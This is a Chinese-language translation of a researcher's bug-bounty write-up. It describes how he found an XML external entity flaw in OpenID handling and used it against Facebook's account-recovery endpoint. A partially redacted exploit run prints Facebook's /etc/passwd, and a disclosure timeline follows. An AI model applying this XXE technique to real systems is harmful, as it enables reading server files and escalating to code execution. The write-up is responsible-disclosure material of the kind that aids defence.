大家好!首先我做一下自我介紹。我叫Reginaldo Silva,是一名巴西籍的計算機工程師。最近我的工作與資訊安全有關,尤其是在Web應用程式安全性的方面。如果可以的話,我很樂意給大家示範如何入侵網站和應用程式。 我的首頁
上有一些相關資訊,歡迎大家浏覽。
今天,我想講一下我發現一個影響Facebook的遠端漏洞代碼的過程。正如一般的故事開頭那樣,這一過程也是在很長時間以前就開始了(實際上僅僅是一年多,但我依然感覺很漫長)。如果你覺得這個話題很有趣,或者想讓我幫你在你的(或你公司的)代碼中做一些有關審查和滲透測試的安全問題,請發郵件給我。我的郵箱是 [email protected]。
2012年的9月22日對我來說是個特别的日子,因為那天我發現了一個
XML外部實體 擴充(XXE) 漏洞 ,它能影響Drupal管理OpenID的那部分功能。XML外部實體的功能很強大,它能讀檔案系統中的所有檔案,能連接配接任意網絡。如果你想尋求刺激,你可以用 billion laughs進行DoS攻擊。
最開始我并沒有在意其他人也存在這樣的漏洞,當我發現時,我立即将其送出到
CVE 上。這是我的第一個貢獻,是以從那以後我将這條資訊寫在了履歷上(這條漏洞的編号是 CVE-2012-4554)。五天後,我突然想到OpenID的應用很廣,是以,其它地方也可能存在這樣的漏洞。我檢查了一下StackOverflow的登入方式,發現的确存在漏洞,而且可危及整個網站。
然後,我準備查找谷歌伺服器中的OpenID 代碼。雖然我無法打開檔案,無法進行網絡連接配接,但谷歌的應用引擎和部落格平台都很容易受到DoS攻擊。這個漏洞讓我賺到了第一桶金,大約有500美元。
在向谷歌報告了這個漏洞後,我又測試了幾個執行個體,最後發現,這個漏洞正在危及許多系統。這裡就不列舉具體内容了,但是用Java, C#, PHP, Ruby, Python, Perl等語言編寫的運作庫或多或少都存在問題。不公布的原因是因為這些系統實在太脆弱了。一個了解安全機制的人可以讀取OpenID 和XML外部實體,然後就能一段惡意代碼進行攻擊。哎呀,我有些跑題了。
之後我聯系了一些編寫OpenID庫的開發者,有些作者隻把安全清單托管在了OpenID基金會上面,我又給他們發了一篇題為“一個可以掌控一切的漏洞:運用XML外部實體實作 OpenID中的脆弱性”的郵件來說明這一問題。我想大部分庫作者都是清單中的成員,是以更新檔将會發給他們每個人。我自以為做得很好了,事實上,我才走了一小步而已。
跟我經常交流的讀者依然有這樣的問題:Facebook的遠端代碼執行漏洞到底是什麼?它竟然使我們做到這種程度。過去,Facebook使用OpenID進行登入。然而,當我在2012年第一次發現OpenID漏洞的時候,我就找不到任何能進入任意OpenID網址的終結點。以前可以在
https://www.facebook.com/openid/consumer_helper.php?openid.mode=checkid_setup&user_claimed_id=YOUR_CLAIMED_ID_HERE&context=link&request_id=0&no_extensions=false&third_party_login=false
動些手腳,現在 consumer_helper.php節點已經關閉了。一年後我以為Facebook的安全性有所提高,但我又測試了一下忘記密碼得到了這樣的結果:
https://www.facebook.com/openid/receiver.php
那時候我開始懷疑Facebook還是存在一年前我發現的那個漏洞的危害。然後我做了許多測試證明了這個猜想。簡言之,如果你忘記密碼了,你可以向Facebook說明你有一個@gmail.com的郵箱,然後登入自己郵箱後,把自己的資訊送出給Facebook。這實際上是用郵箱登進Facebook的,這種登入方式就是基于OpenID的。到目前為止,一切都進展的不錯,隻是我自己遇到了些問題。我知道,由于工作的失誤,OpenID的依賴方需要向已被控制的OpenID提供商(OP)發送一個Yadis發現請求,比如說
http://www.ubercomp.com/。然後我的惡意提供商就會回複一個惡意的XML,它被依賴方解析,進而遭受XXE攻擊。
因為我沒有幹預原始的OpenID請求(Facebook 與 Google之間的直接請求),實際上我沒有機會進入在我控制下的作為OpenID标示符的網址,也沒有讓Facebook發送Yadis發現請求到這個網站。是以,我想這種錯誤應該不會發生了,除非我能擷取谷歌到Facebook的那段惡意XML,而這種可能性極低。幸運的是,我錯了。在仔細閱讀了
OpenID 2.0規範後,第11.2節驗證發現的資訊寫到:
如果聲明的标示符沒有事先告訴依賴方(“openid辨別”可以是“
http://specs.openid.net/auth/2.0/identifier_select”,或是不同的标示符,或是OP發送的辨別判斷),依賴方必須提出來,以確定該OP有權對聲稱的身份辨別做出判斷。
我看了一下,openid辨別果真是
。實際上許多系統使用的都是這個。在幾分鐘後,我向發了一個請求,它可以讓Facebook向一個被我控制的網站發送一個Yadis請求。之後會傳回包含惡意XML的響應。 當我向Facebook伺服器請求打開/dev/random,伺服器不會傳回響應,而且幾分鐘後請求會失效。即使如此,我還是不能打開任意檔案。我嘗試了許多XXE,包括各種組合和參數實體,但還是一無所獲。然後我突然意識到在此過程中是存在一些問題的,改正之後……
$ bash exploit.sh
* About to connect() to www.facebook.com port 80 (#0)
* Trying 31.13.75.1... connected
* Connected to www.facebook.com (31.13.75.1) port 80 (#0)
> GET /openid/receiver.php?provider_id=1010459756371
&context=account_recovery&protocol=http&request_id=1
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.mode=id_res&openid.op_endpoint=...(redacted)... HTTP/1.1
> Host: www.facebook.com
> Accept: */*
> User-Agent: Chrome
>
< HTTP/1.1 200 OK
< Cache-Control: private, no-cache, no-store, must-revalidate
< Expires: Sat, 01 Jan 2000 00:00:00 GMT
< P3P: CP="Facebook does not have a P3P policy. Learn why here:
http://fb.me/p3p"< Pragma: no-cache
< X-Content-Type-Options: nosniff
< X-Frame-Options: DENY
< X-XRDS-Location:
http://www.facebook.com/openid/xrds.php< X-XSS-Protection: 0
< Set-Cookie: datr=...(redacted)...; expires=Thu, 19-Nov-2015 15:34:24 GMT;
path=/; domain=.facebook.com; httponly
< Set-Cookie: reg_ext_ref=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;
path=/; domain=.facebook.com
< Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
%3Fprovider_id%3D1010459756371%26context%3Daccount_recovery%26protocol%3Dhttp
%26request_id%3D1%26openid.ns%3Dhttp%253A%252F%252Fspecs.openid.net%252Fauth
%252F2.0%26openid.mode%3Did_res%26openid.op_endpoint%3D...(redacted)...;
< Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fopenid%2Freceiver.php
< Content-Type: text/html; charset=utf-8
< X-FB-Debug: ...(redacted)...
< Date: Tue, 19 Nov 2013 15:34:24 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
<
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<script>
function envFlush(a) {
function b(c) {
for (var d in a) c[d] = a[d];
}
if (window.requireLazy) {
window.requireLazy(['Env'], b);
} else {
Env = window.Env || {};
b(Env);
}
envFlush({
"user": "0"
});
<title>Facebook</title>
<script src="http://static.ak.fbcdn.net/rsrc.php/v2/yR/r/Bx6hq_79BTx.js" crossorigin="anonymous"></script>
<script type="text/javascript">window.Bootloader &&
Bootloader.done(["ASVup"]);</script>
</head>
<body class="Locale_en_US">
<script type="text/javascript">
Bootloader.setResourceMap({
"\/2NZV": {
"type": "js",
"crossOrigin": 1,
"src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yo\/r\/CAz6i9Uu16e.js"
},
"GduTW": {
"src": "http:\/\/static.ak.fbcdn.net\/rsrc.php\/v2\/yu\/r\/aGXWJInaxrx.js"
</script>
require("InitialJSLoader").loadOnDOMContentReady(["GduTW","\/2NZV"]);
Bootloader.configurePage([]);
Bootloader.done([]);
require("InitialJSLoader").handleServerJS({
"require": [
["OnloadHooks"],
["lowerDomain"]
]
onloadRegister_DEPRECATED(function () {
openid_submit_response({
"__ar": 1,
"error": 1428005,
"errorSummary": "Error while processing response",
"errorDescription": {
"__html": " \
There was an error while processing the OpenID response. \
No matching endpoint found after discovering http:\/\/www.ubercomp.com\/...(redacted)... \
<br \/><br \/> OP Endpoint mismatch. Expected http:\/\/www.ubercomp.com\/...(redacted)..., \
got http:\/\/www.ubercomp.com\/...(REDACTED).../?x=\
root:x:0:0:root:\/root:\/bin\/bash\n \
bin:x:1:1:bin:\/bin:\/sbin\/nologin\n \
daemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\n \
adm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\n \
lp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\n \
sync:x:5:0:sync:\/sbin:\/bin\/sync\n \
shutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\n \
halt:x:7:0:halt:\/sbin:\/sbin\/halt\n \
mail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\n \
uucp:x:10:14:uucp:\/var\/spool\/uucp:\/sbin\/nologin\n \
operator:x:11:0:operator:\/root:\/sbin\/nologin\n \
games:x:12:100:games:\/usr\/games:\/sbin\/nologin\n \
gopher:x:13:30:gopher:\/var\/gopher:\/sbin\/nologin\n \
ftp:x:14:50:FTP User:\/var\/ftp:\/sbin\/nologin\n \
nobody:x:99:99:Nobody:\/:\/sbin\/nologin\n \
dbus:x:81:81:System message bus:\/:\/sbin\/nologin\n \
...(REDACTED)..."
},
"payload": null,
"bootloadable": {},
"ixData": []
}, 1)
</body>
</html>
* Connection #0 to host www.facebook.com left intact
* Closing connection #0
沒錯,響應中包含了Facebook的/etc/passwd。現在,我們可以随意通路了。我覺得我發現了通向王國的道路。通過Facebook 伺服器視圖節點能夠讀取任意檔案和進行網絡連接配接,視圖節點不需要代理,這可是 Facebook不惜高成本建立的。随後我又有了新想法,覺得應該将其形成一個完整遠端執行程式。
網絡中漏洞獎勵計劃是非常好的方式,它也有自己的規則:不管何時發現了漏洞,請不要猶豫。将其按程式送出,安全小組會全面考慮,并向支付相應的報酬。起初,我并不信任 Facebook的安全小組,并且認為他們不會把我送出的漏洞看做是遠端代碼執行漏洞。我不想造成誤解,是以我決定立即送出,然後我申請了一個權限進行RCE更新。更新完畢後,它可以正常運作。我想這應該沒什麼問題了。因為大部分漏洞都需要花很長時間來處理,我有足夠的時間更新RCE,同時我覺得我是一個優秀的白帽黑客。在寫完漏洞報告後,我決定出去走走,順便吃個午餐,回來之後繼續工作。
然而,我又錯了,因為這是一個嚴重的漏洞,吃過午飯後,我加快了速度。我把報告發出去不到2個小時,讓我既難忘又難過,但因為我知道如何更新遠端代碼執行漏洞,我将如何修複告訴了安全小組。當他們測試攻擊是否有效時,我很相信他們給出的結論。我為我的作為而高興。在接到一些回報和4封郵件後,安全小組确認我的攻擊是安全的,我發現的RCE的确能影響他們的伺服器。
是以這就是攻擊的入口,即我迄今發現的第一個高沖擊漏洞。它大概也是懸賞最高的漏洞之一。另外,我還可以吹牛說我攻入了Facebook……不錯,是吧?順便說一句,安全小組的成員也寫了一篇
關于這事的文章。
歡迎加入
Hacker News進行讨論。
事件時間點
所有時間以格林威治标準時間。不重要的資訊我就不提了。
- 2013-11-19 15:51: 寫報告
- 2013-11-19 17:37: 安全小組成員Godot感謝我的發現
- 2013-11-19 17:46: 我得到了可以讀任意檔案的答複
- 2013-11-19 19:31: 安全小組成員 Emrakul通知我短暫的修複将持續30分鐘。
- 2013-11-19 20:27: 我确信漏洞已被修複。
- 2013-11-21 20:03: 獲得酬金。安全小組說這是他們目前支付的最高金額。
- 2013-11-22 2:13: 我發了封郵件,詢問安全小組把漏洞看做是RCE還是僅僅是檔案洩露。
- 2013-11-23 1:17: 安全小組回複說,他們認為攻擊不能更新到RCE。
- 2013-11-23 19:54: 我解釋說明如何進行更新
- 2013-11-24 21:23: Facebook 回複說我的攻擊起作用了,他們會進行處理的。
- 2013-12-03 4:45: Facebook 通知我說修複會持續一段時間,他們準備讨論一個新的報酬計劃。
- 2013-12-03 19:14: 我雙手交叉,向他們表示感謝。
- 2013-12-13 13:04: 我看到了一篇引自Ryan McGeehan的一篇文章,Ryan負責管理Facebook的事件響應部門,他說“如果有一個價值百萬美元的漏洞,那麼我們願意支付”。然後又詢問了一下他們是否有新消息。
- 2013-12-30 4:45: Facebook通知我說漏洞已經成為了RCE,是以費用會更高。我不會透漏具體數額,你可以猜一猜,然後說出來。當然我也不會得到一百萬那麼多,我引用McGeehan的話僅僅是為了娛樂一下,不要當真。